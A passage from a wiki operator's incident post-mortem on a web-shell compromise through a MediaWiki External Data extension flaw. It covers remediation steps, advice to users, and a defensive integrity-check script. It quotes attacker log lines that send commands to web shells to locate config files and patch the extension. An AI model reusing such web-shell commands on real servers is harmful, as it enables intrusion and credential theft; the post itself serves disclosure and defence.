5 root root 4096 Jul 2 21:26 languages-rw-r--r-- 1 502 staff 733 Jun 26 05:58 load.phpdrwxr-xr-x 7 root root 12288 Jul 2 21:26 maintenancedrwxr-xr-x 4 root root 4096 Jul 2 21:26 mw-config-rw-r--r-- 1 502 staff 1030 Jun 30 11:54 opensearch_desc.phpdrwxr-xr-x 6 root root 4096 Jul 2 21:26 resources-rw-r--r-- 1 502 staff 508 Jun 26 05:58 rest.phpdrwxr-xr-x 7 www-data www-data 4096 Jun 25 15:59 skinsdrwxr-xr-x 6 root root 4096 Jul 2 21:26 sqldrwxr-xr-x 11 root root 4096 Jul 2 21:26 tests-rw-r--r-- 1 502 staff 626 Jun 26 05:58 thumb.php-rw-r--r-- 1 502 staff 928 Jun 26 05:58 thumb_handler.phpdrwxr-xr-x 27 root root 4096 Jul 2 21:26 vendorI believe .nxwmq9tug was a probe to test for writable folders, the same was found in images/, with the contents NXWPROBE. They were not very concerned about leaving a trail, especially for a group so focused on stealing credentials.
It is worth noting that they were executing commands as the PHP process and its user, www-data. Every writable directory has been audited, and permission has been removed for those that are unnecessary, with constant monitoring for suspicious files.
Sep 26 @ 01:49:49: UTC
They return again and rerun the full secret-scanning script through to 01:50:11: from 91.92.241.215. Again, this is automated.
Sep 26 @ 02:12:41: UTC
95.173.222.27 returns with a patch-script, and they seem to attempt to patch out the CVE by first writing to LocalSettings.php, which failed because the file was read-only.
wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:41 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+LocalSettings.php+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-3 HTTP/1.1" 200 159 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:41 +0000] "GET /Nx_pmgcr.php?c=grep+-i+%27ConnectorsDisabled%27+%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:42 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-path+%22%2AExternalData%2A%22+-name+%22EDConnectorExe.php%22+2%3E%2Fdev%2Fnull+%7C+head+-3 HTTP/1.1" 200 204 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:44 +0000] "GET /Nx_pmgcr.php?c=echo+%27%24edgConnectorsDisabled+%3D+%5B%22EDConnectorExe%22%5D%3B%27+%3E%3E+%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:45 +0000] "GET /Nx_pmgcr.php?c=tail+-3+%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php+2%3E%2Fdev%2Fnull HTTP/1.1" 200 174 "-" "Mozilla/5.0" "95.173.222.27"When that fails, they attempt to patch out the CVE in the extension itself by returning the vulnerable function early.
wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:20 +0000] "GET /Nx_pmgcr.php?c=cp+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php.bak HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:22 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 9872 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:22 +0000] "GET /Nx_pmgcr.php?c=grep+-n+%22function+%22+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 606 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:23 +0000] "GET /Nx_pmgcr.php?c=sed+-i+%27s%2Fprotected+function+run%28%29%2Fprotected+function+run%28%29+%7B+return%3B+%7D%5C%2F%5C%2FPATCHED%5Cn%5C%2F%5C%2Fprotected+function+run_disabled%28%29%2F%27+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:23 +0000] "GET /Nx_pmgcr.php?c=grep+-n+%22proc_open%5C%7Cshell_exec%5C%7Cexec%28%5C%7Cpopen%5C%7Csystem%28%22+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:24 +0000] "GET /Nx_pmgcr.php?c=php+-r+%22%0A%5C%24f+%3D+file_get_contents%28%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php%27%29%3B%0A%5C%24f+%3D+str_replace%28%27protected+function+run%28%29+%7B%27%2C+%27protected+function+run%28%29+%7B+return%3B+%2F%2A+PATCHED+CVE-2026-100382+%2A%2F%27%2C+%5C%24f%29%3B%0A%5C%24f+%3D+str_replace%28%27public+function+run%28%29+%7B%27%2C+%27public+function+run%28%29+%7B+return%3B+%2F%2A+PATCHED+CVE-2026-100382+%2A%2F%27%2C+%5C%24f%29%3B%0Afile_put_contents%28%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php%27%2C+%5C%24f%29%3B%0Aecho+%27OK%27%3B%0A%22+ HTTP/1.1" 200 129 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:24 +0000] "GET /Nx_pmgcr.php?c=grep+-n+%22PATCHED%22+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 194 "-" "Mozilla/5.0" "95.173.222.27"This is a very common technique to close the door from other attackers. I believe the extensions/ folder was writable at the time, which is a security gap I have since fixed, and this stuck (from what I could tell). After auditing every writable directory, I found nothing persistent.
It is quite possible that a worse attacker could've used this backdoor to do more opportunistic things, so this was lucky for me, however greedy it was from the attackers.
They then run another whoami through the original web shell, for old times' sake. That was their last command.
wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:25 +0000] "GET /Nx_pmgcr.php?c=whoami HTTP/1.1" 200 136 "-" "Mozilla/5.0" "95.173.222.27"Sep 26 @ 05:57:20: UTC
The second TA returns via 194.61.28.204, this time using curl/8.20.0. I believe this IP also had a ton of requests on /api.php I wasn't able to retain or monitor, so they could've placed commands through the RCE itself, rather than a web-shell. Then again, this is an abusive IP that was making requests to my server long before this CVE, so they could've been useless probes as well.
wiki_web | 194.61.28.204 - - [26/Sep/2026:05:57:20 +0000] "GET /7ye8oaju0ydn.php?cmd=id HTTP/1.1" 200 83960 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:57:21 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 83960 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:58:14 +0000] "GET /7ye8oaju0ydn.php?cmd=id HTTP/1.1" 200 83967 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:58:16 +0000] "GET /7ye8oaju0ydn.php?cmd=id HTTP/1.1" 200 83960 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:59:09 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 291 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:59:43 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 291 "-" "curl/8.20.0" "194.61.28.204"End of the logs
Unfortunately, I did not retain any logs besides the ones above and those that were omitted. Before proceeding to clean my server, I sourced the above logs via:
docker compose logs web | grep -E '7ye8oaju0ydn|Nx_'Not in chronological order are a few commands I ran before purging the volume:
root@obbywiki-main:/opt/obbywiki# docker compose exec app cat images/.nxw5bvxe9NXWPROBEdocker compose exec app find /var/www/html /tmp -name '.nx*' -o -name 'Nx_*.php' -o -name '7ye8oaju0ydn.php'/var/www/html/Nx_3c1yb.php/var/www/html/7ye8oaju0ydn.php/var/www/html/.nxwmq9tug/var/www/html/Nx_pmgcr.php/var/www/html/cache/.nxwthx1kz/var/www/html/Nx_s73ug.php/var/www/html/images/.nxw5bvxe9# ...-rw-r--r-- 1 www-data www-data 0 Sep 27 03:29 externaldata.txt# (under /tmp, this was my doing)I can release the full logs, if there is any interest, but I think I've covered everything here already.
Anyway, the end of the logs was not the end of my problems. The rest of this post will go over my actions following this discovery, what I learnt from this, and what I am doing to minimize the risk of this happening again. I understand that many of you will not be interested in that, and I understand. Thank you for reading so far!
September 27th
I don't remember much of the day before this, but roughly sometime around 03:18: UTC (or 13:18: my time) I received a ping from a security role inside a MediaWiki Discord server. I wasn't doing much at the time, so I opened it. The ping was preceded by a forwarded message from #general, where a server member claimed to be compromised by a vulnerability in ExternalData, an extension I knew I was using.
For reference, I explain later the alerts I've set up and how I no longer rely on information from third-parties regarding security.
After reading the report, I sshed into my server and attempted to update the External Data extension, probably from REL1_45, I'm not sure. I believe this is when I tested the RCE by creating /tmp/external_data.txt, as shown in the repro, and was unconvinced that the extension was patched. I decided not to risk it, and just disabled the extension. Soon after, I removed the entire extension.
I then saw the files in the container and assumed the worst, which was correct... sort of. At the time, I believed each web shell was empty by the time I got there, so I did not bother copying them out of the container.
It was at this point where I was tracing the logs and trying to piece together what happened. I then rebuilt the container (or every container for good measure) and purged the mw_html volume. Unfortunately, I did not have persistent logs at this time, so the logs went with it.
After I realized that my SES credentials had been stolen, I looked at the dashboard (from which I noticed a spike in usage in the hour of 0 UTC, likely around 00:33-00:49: UTC), and disabled the compromised IAM user, and paused sending in us-east-1 via update-account-sending-enabled. Luckily for me, not many emails were sent during this time, so it didn't cost me anything.
I spent the next 8+ hours ensuring the server was secure. In the end, I found no tampering with the database, no persistent access or entrypoints, no escape from the container, nothing persistent on the volume, no added users, or anything else I looked for. Every single key exposed was rotated as soon as possible, except for the SMTP credentials, which were disabled, but are now fully rotated, with the old IAM user deleted.
Unfortunately, I can only see what's changed, and I have no way of knowing if they read the database or not, especially given the complete unauthenticated RCE, providing arbitrary access PHP's user.
Here is a recount of the steps I took to ensure the server's security:
- I scoped the attacker's reach. They were
www-datainside one container with no Docker socket and no privileged mode, so they could only write to four mounts. - I searched by file ownership and change time across the host during the attack window.
- I audited the extensions/ and skins/ directory. Only one extension folder was writable by
www-data, nothing changed during the window (besides ED, which I force-deleted before, which is why it didn't appear), and I replaced it anyway. - I checked the integrity of the database. I found no anomalies within privileged groups, no new accounts, no suspicious revisions, entry logs, new DB users, triggers/events/routines, bot passwords, interwiki mutations, CA global groups, any revisions injected into sitewide CSS/JS or gadgets.
- I bounded the AWS damage. The key could only send email. I audited its activity and found no other API calls, and no new keys or users. I will be taking more steps to secure SES further in the future.
- As a measure of caution, I also checked the host for suspicious logins, SSH keys, crons, processes, and any discrepancies with containers.
- I invalidated sessions, flushed Redis sessions, and bumped the auth token version.
- Secrets are fully rotated, and I confirmed that the old DB user/root passwords were dead. To name a few: MariaDB, Turnstile, Google, Roblox, Discord, SES, Plausible/ClickHouse, 2FA.
September 28th
On September 28th, I posted the security notice to all users. The advice there still sticks, and you should read it if you have an Obby Wiki account.
I am going to state every plausible here, as well. The attacker had wikiuser access to the database, containing obbywiki_cargo, mediawiki, and centralauth. I am going to skip everything else that affects me, as that is my problem and fault, and only describe what you as a user should do.
First, if you have an account, you may need to assume the following was taken:
- Password hashes
- Any emails (the majority of you log in through Roblox, where we retain no email)
- IP addresses retain for anti-abuse purposes, like any MediaWiki instance
Realistically, you should be vigilant of any spam email, especially any claiming to be the Obby Wiki. The Obby Wiki only sends emails per your action, and will never send you anything that requires action unprompted. Please verify all email is from [email protected].
As for passwords, I recommend you change your passwords, and any passwords you use repeatedly, just in case.
IP addresses and their sensitivity depends on your ISP.
No other information is stored, so it is impossible to have been leaked. If you did not input an email address into the wiki, yours has not been leaked.
Any other information in the database the attackers had access to is already public.
I also encourage you to enable 2FA for extra security. Again, read the security notice for more information.
Remediation
I was caught off guard. By luck, I received minimal damage to the server itself (compared to what I've seen), likely thanks to the container. Others were not so lucky, and I am sorry if you were affected.
Nevertheless, I am not willing to take a chance like that again. I will be taking proactive measures to ensure better security. As it stands today, the attack that happened against my server on the 26th would not have been possible today (at least in the same form), and I would've been alerted of it within minutes, and the webshells wouldn't have been reachable at all. Additionally, I have now set up additional security features that will (hopefully) prevent new forms of attacks in the future, as well. And, logs are now persistent, and shipped off to Grafana on a write-only basis, meaning all logs will survive in the event of a future incident.
I would like to tighten it a bit more, but if anyone is interested, I wouldn't mind sharing the backend files for the wiki in the future, in case anyone wants a reference.
Core integrity alerts
This is the current version of the integrity script, as it stands now. I am likely to change it in the future, maybe even frequently, so don't expect this to be up-to-date.
This script was specifically made for my infrastructure, so you'd probably have to tune it to get anything working.
#!/bin/sh# Obby Wiki integrity / web-shell check. Run from the host (cron):# */10 * * * * /opt/obbywiki/scripts/check-integrity.sh >/dev/null 2>&1## First run (and after every intentional extension/skin file update or pull):# /opt/obbywiki/scripts/check-integrity.sh --baseline## (this will regenerate the baseline, otherwise you will receive alerts for your own doing)## Alerts go to stdout, and, if DISCORD_WEBHOOK_URL is set (e.g. in /etc/obbywiki-alert.env), to a Discord channel. Exit code 1 = findings.## Checks:# 1. MediaWiki core in the mw_html volume vs the pristine copy baked into the image (/usr/src/mediawiki). Any added/changed file triggers an alert.# 2. Any PHP-like file under images/ or cache/ (should never exist).# 3. extensions/ and skins/ on the host vs a sha256 baseline.# 4. outbound connections the egress proxy blocked since the last run.
set -ucd "$(dirname "$0")/.." || exit 2APP=${APP_CONTAINER:-wiki_app}STATE=${STATE_DIR:-./logs/integrity}mkdir -p "$STATE"[ -f /etc/obbywiki-alert.env ] && . /etc/obbywiki-alert.env
manifest() { find ./r/extensions ./r/skins -type f \ -not -path '*/.git/*' -not -path '*/node_modules/*' -print0 \ | sort -z | xargs -0 sha256sum}
if [ "${1:-}" = "--baseline" ]; then manifest > "$STATE/extensions.sha256" echo "baseline written: $(wc -l < "$STATE/extensions.sha256") files"
exit 0fi
out="$STATE/last-findings.txt": > "$out"
# 1. Detect core drift. rsync -n is a DRY RUN. Nothing is changed or deleted, it only lists how the live docroot differs from the image. It is report-only on purpose, so evidence is preserved. Investigate/copy before removing anything.docker exec "$APP" rsync -rcn --delete --itemize-changes \ --exclude '/images/' --exclude '/extensions/' --exclude '/skins/' \ --exclude '/LocalSettings.php' --exclude '/cache/' --exclude '/.obbywiki-image-id' \ /usr/src/mediawiki/ /var/www/html/ 2>&1 \ | sed -E \ -e 's/^\*deleting +(.*)$/[core-drift] extra path, not in image: \1/' \ -e 's/^[<>c]f[^ ]* +(.*)$/[core-drift] modified or missing vs image: \1/' \ -e 's/^cd[^ ]* +(.*)$/[core-drift] directory missing vs image: \1/' \ -e '/^\[core-drift\]/!s/^/[core-drift] /' >> "$out"
# 2. I have redacted the suspicious file detection part of the script. Please DM if you want the full script.
# 3. extensions/skins vs baselineif [ -f "$STATE/extensions.sha256" ]; then manifest > "$STATE/extensions.now" diff "$STATE/extensions.sha256" "$STATE/extensions.now" \ | grep -E '^[<>]' | sed 's/^/[ext-drift] /' >> "$out"else echo "[warn] no extensions baseline; run with --baseline" >> "$out"fi
# 4. blocked outbound attempts since the last run. Legitimate code that suddenly needs a new host shows up here too.SQLOG=./logs/squid/access.logif [ -r "$SQLOG" ]; then total=$(wc -l < "$SQLOG") seen=$(cat "$STATE/squid.lines" 2>/dev/null || echo 0) [ "$total" -lt "$seen" ] && seen=0 # log was rotated tail -n +"$((seen + 1))" "$SQLOG" | awk '$3 ~ /DENIED/ {print "[egress-denied] " $6 " from " $2}' \ | sort | uniq -c | sed 's/^ *//' >> "$out" echo "$total" > "$STATE/squid.lines"fi
if [ -s "$out" ]; then cat "$out" if [ -n "${DISCORD_WEBHOOK_URL:-}" ]; then msg=$(head -c 1800 "$out" | sed 's/\\/\\\\/g; s/"/\\"/g' | awk '{printf "%s\\n", $0}') curl -fsS -H 'Content-Type: application/json' \ -d "{\"content\":\"**obby.wiki integrity alert** ($(hostname))\\n\`\`\`${msg}\`\`\`\"}" \ "$DISCORD_WEBHOOK_URL" >/dev/null || true fi
exit 1fiexit 0Don't forget to regenerate the baseline after updating an extension before falling asleep... that would be... bad. This will alert us whenever a core file is modified, as we no longer allow any scripts to be run that are not part of core, which is the form of most attacks. I will be looking into different platforms to POST alerts to. A downside of this is that a new message is sent every time the script is ran if something is mismatched, which can be both annoying, but also useful, since you are unlikely to miss it.
Tighter networks
Every container can only interact with networks it needs to.
Tighter secrets
Every container can only see secrets it will use. Previously, the app container had access to every single secret, and that is no longer the case.
Egress proxy
All outside traffic is allowlist-only now, limited to a set group of domains, which I will keep private for security reasons.
And more
This list is briefer than what I implemented, as many of the things I am working on are not finished yet, but will be soon. I will be looking into harder security, limiting database functions and splitting users, as well as more monitoring software such as Falco. I will also be creating custom proxies to obfuscate and control outbound request domains tighter, so an attacker (especially with an automated script) would struggle more exfiltrating data. I believe that every single point of friction for an attacker is a greater chance of containment, and that it is worth it, however marginal. I may have more updates on this in the future.
The end
That's everything I can remember right now. I'm left in a position where I feel as if I can't trust WMF or their security team, and I will be making changes accordingly to ensure I do not rely on them very much. In a future blog post on the Obby Wiki, I will explain what I am changing in the future in terms of extensions and integrations, such as hopefully migrating to Bucket from Cargo, once that reaches parity in terms of data types, at least.
A little earlier today, WMF published a security release with a bunch of extensions. Among that list, was External Data. I understand how many security issues are being found in recent time, but I personally think this notice was far too late, and should be handled better in the future.
Sorry for the sarcasm! There are some cool things coming in the future that will hopefully make up for this. Of course, I can never recover what is lost, but I hope it will help a little.
Thank you for reading. The security notice I posted on the 28th is linked below, if you would like to read it.
Related
Manticore Search in MediaWikiManticore Search working in MediaWiki.
IntegratedProfiles v0.7.02 new features and some housekeeping.
Discord Embed Components slideshowThe Obby Wiki now has an animated slideshow preview when you send the home page on Discord!
Shizuku 0.1.0 for DiscourseShizuku is a soft, calm, and responsive theme for Discourse forums. Now open source!